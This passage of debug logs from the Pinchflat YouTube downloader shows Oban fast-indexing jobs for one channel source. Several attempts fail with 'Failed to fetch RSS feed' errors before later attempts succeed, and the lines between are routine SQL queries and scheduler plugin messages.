s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:55:50.989 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:55:51.162 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":550,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173241,"event":"job:exception","queue_time":848663,"attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:55:55.896 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.148 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:56:25.897 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:39.039 [info] {"args":{"id":3},"id":550,"meta":{},"system_time":1784876199039167846,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:56:39.039 [debug] QUERY OK source="sources" db=0.0ms idle=1874.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:56:39.039 [debug] QUERY OK source="settings" db=0.0ms idle=1874.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:56:39.039 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:56:39.039 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:56:39.039 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:56:39.141 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":550,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101872,"event":"job:exception","queue_time":876512,"attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:56:55.898 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.150 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:57:25.899 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:55.900 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.151 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:58:06.141 [info] {"args":{"id":3},"id":550,"meta":{},"system_time":1784876286141361635,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:58:06.141 [debug] QUERY OK source="sources" db=0.0ms idle=976.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:58:06.141 [debug] QUERY OK source="settings" db=0.0ms idle=976.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:58:06.142 [debug] QUERY OK source="media_profiles" db=0.0ms idle=977.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:58:06.142 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:58:06.142 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:58:06.243 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":550,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101853,"event":"job:exception","queue_time":999468,"attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:58:25.902 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:55.904 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.152 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:59:25.905 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:55.906 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.153 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:00:25.908 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:38.305 [info] {"args":{"id":3},"id":550,"meta":{},"system_time":1784876438305349729,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:00:38.305 [debug] QUERY OK source="sources" db=0.1ms idle=1140.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:00:38.305 [debug] QUERY OK source="settings" db=0.1ms idle=1140.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:00:38.305 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:00:38.306 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:00:38.306 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 07:00:38.931 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:00:38.932 [debug] QUERY OK source="media_items" db=0.5ms idle=626.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:00:38.934 [debug] QUERY OK source="media_items" db=1.9ms idle=626.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 07:00:38.934 [debug] QUERY OK source="tasks" db=0.1ms idle=628.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [551, 3, ~U[2026-07-24 07:00:38Z], ~U[2026-07-24 07:00:38Z]] 07:00:38.935 [info] {"args":{"id":3},"id":550,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":629636,"event":"job:stop","queue_time":61193,"attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:00:55.909 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.154 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:01:25.911 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:55.912 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.155 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:02:25.913 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:55.914 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.156 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:03:25.915 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:55.916 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.157 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:04:25.917 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:55.918 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.158 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:05:25.919 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:55.920 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.159 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:06:25.921 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:55.922 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.160 [info] {"source":"oban","duration":342,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:07:25.924 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:55.925 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.161 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:08:25.926 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:55.927 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.162 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:09:25.928 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:55.930 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.163 [info] {"source":"oban","duration":413,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:10:25.931 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:38.975 [info] {"args":{"id":3},"id":551,"meta":{},"system_time":1784877038975389558,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:10:38.975 [debug] QUERY OK source="sources" db=0.0ms idle=1810.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:10:38.975 [debug] QUERY OK source="settings" db=0.0ms idle=1810.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:10:38.976 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:10:38.976 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:10:38.976 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 07:10:39.105 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:10:39.105 [debug] QUERY OK source="media_items" db=0.2ms idle=130.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 07:10:39.107 [debug] QUERY OK source="media_items" db=1.8ms idle=130.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 07:10:39.108 [debug] QUERY OK source="tasks" db=0.0ms idle=132.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [552, 3, ~U[2026-07-24 07:10:39Z], ~U[2026-07-24 07:10:39Z]] 07:10:39.108 [info] {"args":{"id":3},"id":551,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133248,"event":"job:stop","queue_time":40632,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:10:55.932 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.164 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:11:25.933 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:55.935 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.165 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:12:25.936 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:55.937 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.165 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:13:25.938 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:55.939 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.167 [info] {"source":"oban","duration":399,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:14:25.940 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:55.941 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.168 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:15:25.942 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:55.943 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.169 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:16:25.944 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:55.945 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.170 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:17:25.946 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:55.947 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.171 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:18:25.948 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:55.949 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.172 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:19:25.950 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:55.951 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.173 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:20:25.952 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:39.618 [info] {"args":{"id":3},"id":552,"meta":{},"system_time":1784877639618183764,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 07:20:39.618 [debug] QUERY OK source="sources" db=0.0ms idle=453.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:20:39.618 [debug] QUERY OK source="settings" db=0.0ms idle=453.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 